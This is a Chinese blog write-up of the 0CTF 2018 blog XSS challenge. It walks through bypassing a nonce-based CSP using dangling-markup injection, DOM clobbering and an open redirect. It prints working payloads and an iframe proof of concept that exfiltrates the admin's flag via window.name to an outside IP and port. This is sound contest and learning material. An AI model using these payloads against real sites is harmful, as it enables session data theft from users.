0CTF blog bypass csp nonce

赛后复现的一个题,用到了很多技巧,复现的过程收获很大,这篇文章从一个新手的角度来分析这道xss题目。

网站有几个功能

/new : 发布新文章
/: 查看发布的文章
/flag: flag,需要得到管理员看到的flag页面
/submit: 提交链接
/article/3869: 查看文章链接

网站的csp规则为:

Content-Security-Policy: script-src 'self' 'unsafe-inline'
Content-Security-Policy: default-src 'none'; script-src 'nonce-YR0W8GPS4XSyrpssLDEnV7EtYtM=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

很有意思的是这里用了两个csp规则,csp1和csp2都有

两个CSP分开写,是同时生效并且单独生效的,也就是与的关系。

换个说法就是,strict-dynamic 表明我们可以运行动态生成的js, 假设我们通过动态生成script标签的方式(dom xss),成功绕过了第二个CSP,但我们引入了<script src="hacker.website">,就会被第一条CSP拦截,很有趣的技巧。

nonce的绕过我们一般是去寻找一些dom xss的点

我们再查看文章链接的地方发现网站引入了第四个js: article.js

$(document).ready(function(){
    $("body").append((effects[$("#effect").val()]));
});

很明显的dom xss

网站部分源码为:

    <h1>1</h1>
    <p id="article">
        11
    </p>
    <input type="hidden" id="effect" value="nest">

获取id为effect即input输入框的值,effects变量是在config.js中定义的,

var effects = {
    'nest': [
        '<script src="/assets/js/effects/canvas-nest.min.js"></script>'
    ],
    '3waves': [
        '<script src="/assets/js/effects/three.min.js"></script>',
        '<script src="/assets/js/effects/three-waves.min.js"></script>'
    ],
    'lines': [
        '<script src="/assets/js/effects/three.min.js"></script>',
        '<script src="/assets/js/effects/canvas-lines.min.js"></script>'
    ],
    'sphere': [
        '<script src="/assets/js/effects/three.min.js"></script>',
        '<script src="/assets/js/effects/canvas-sphere.min.js"></script>'
    ],
}

即根据我们输入的内容选择对应的js特效,但是这里输入值并没有白名单过滤(不要相信用户的输入),导致我们构造恶意的js内容

思路:

  1. 我们首先需要覆盖掉config.js
    , "><script a= 利用标签悬挂攻击我们可以覆盖掉config.js(因为nonce是动态生成的,获取到管理员的nonce也没用)
  1. 如果我们可以覆盖effects变量,那我们就可以向body注入标签了,这里需要一点小trick。
在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签

构造也比较巧妙

id"><form name="effects" id="<script>alert(1)</script>"><script a="

我们如果插入这个,就可以成功覆盖config.js和effects的内容

    <input type="hidden" id="effect" value="id"><script a=">

    <section id=" comments"="">
        <form method="post" action="" class="form">
            <label><h3>Leave A Message</h3></label>
            <textarea name="comment"></textarea>
            <button class="button outline small">Comment</button>
        </form>

        
        <h3>No articles have been published yet, plz create one.</h3>
        
    </section>

        </main>
    </div>
    <script nonce="2dvzd3OZ9hCTSMK3aDJWR1wUOfI=" src="/assets/js/config.js"></script>
    <script nonce="" src="/assets/js/jquery-3.3.1.min.js"></script>
    <script nonce="" src="/assets/js/kube.min.js"></script>
    
    <script nonce="" src="/assets/js/article.js"></script>
image.png

effect参数这里服务端限制只能写入70个字节,bypass csp1的unsafe-inline的很多方法都用不了了。

大佬给出的payload:

id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>

还是可以通过xhr访问站内的链接/flag
,将flag存放在name窗口中,那么我们如何将flag传出来呢?

  1. login?next=这个点可以存在一个任意跳转,通过这个点,我们可以绕过submit的限制(submit的maxlength是前台限制,可以随便跳转

这个漏洞有什么用呢? 无法写js,没法传出document对象

这里我们再次用到一个Tricks,一个特殊的跨域操作

http://www.cnblogs.com/zichi/p/4620656.html

这里用到了一个特殊的特性,就是window.name不跟随域变化而变化,通过window.name我们可以缓存原本的数据。

我们在我们的vps上挂一个html

<html>
</html>

<script>
alert(window.name)
</script>

直接弹出name是没有任何内容的,但是我们通过该网站login?next调到我们的服务器上时会有什么变化呢,我们访问:http://202.120.7.197:8090/login?next=http://lj.s7star.cn/xss/name.html

成功弹框前一个网页的name数据

image.png

那么我们如何将我们http://202.120.7.197:8090/article/3879 网站的name发出来呢?

我们再我们vps上再挂个html:

<html>
<iframe name="tt" src="http://202.120.7.197:8090/article/3879"></iframe>
</html>

<script>
alert(window.name)
</script>

我们添加了一个iframe指向我们的文章,因为该网站并没有设置x-frame-options选项,因此可以被嵌入,因为浏览器会保存cookie,因此iframe里面的页面无需登陆就可以访问到。

frames[0].document
VM1835:1 Uncaught DOMException: Blocked a frame with origin "http://lj.s7star.cn" from accessing a cross-origin frame.
    at <anonymous>:1:11
(anonymous) @ VM1835:1
frames[0].window.name
VM2087:1 Uncaught DOMException: Blocked a frame with origin "http://lj.s7star.cn" from accessing a cross-origin frame.
    at <anonymous>:1:18
frames[0].location="/"
"/"
name
""
frames[0].name
"flag{ONLY_4dmin_can_r3ad_7h!s}"

在我们的vps网站上测试,虽然因为同源策略限制我们无法访问iframe里面的dom,也无法直接获取iframe的name值,但我们可以改变window.href调到我们的首页来,此时iframe已经和我们的vps同源,我们就可以将name带出来并且访问成功了.

知道怎么带出来后我们就可以顺利写出poc了.

<iframe src="http://202.120.7.197:8090/article/3879"></iframe>
<script>
    setTimeout(()=>{frames[0].window.location.href='/'},1200)
console.log(frames[0].name);
    setTimeout(()=>{location.href='http://123.206.65.167:2000/?'+frames[0].window.name},1500)
</script>

上面这段就不难理解了,先用iframe指向含有xss的文章链接,通过location.href跳到我们的vps上面来,并将name带出来,获取iframe的name窗口值并发送到我们监听的端口上。

最后提交我们的链接:

http://202.120.7.197:8090/login?next=http://lj.s7star.cn/xss/evil.html
image.png

参考:

https://lorexxar.cn/2018/04/05/0ctf2018-blog/

https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,445评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,889评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,047评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,760评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,745评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,638评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,011评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,669评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,923评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,655评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,740评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,406评论 4 320
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,995评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,961评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,023评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,483评论 2 342

推荐阅读更多精彩内容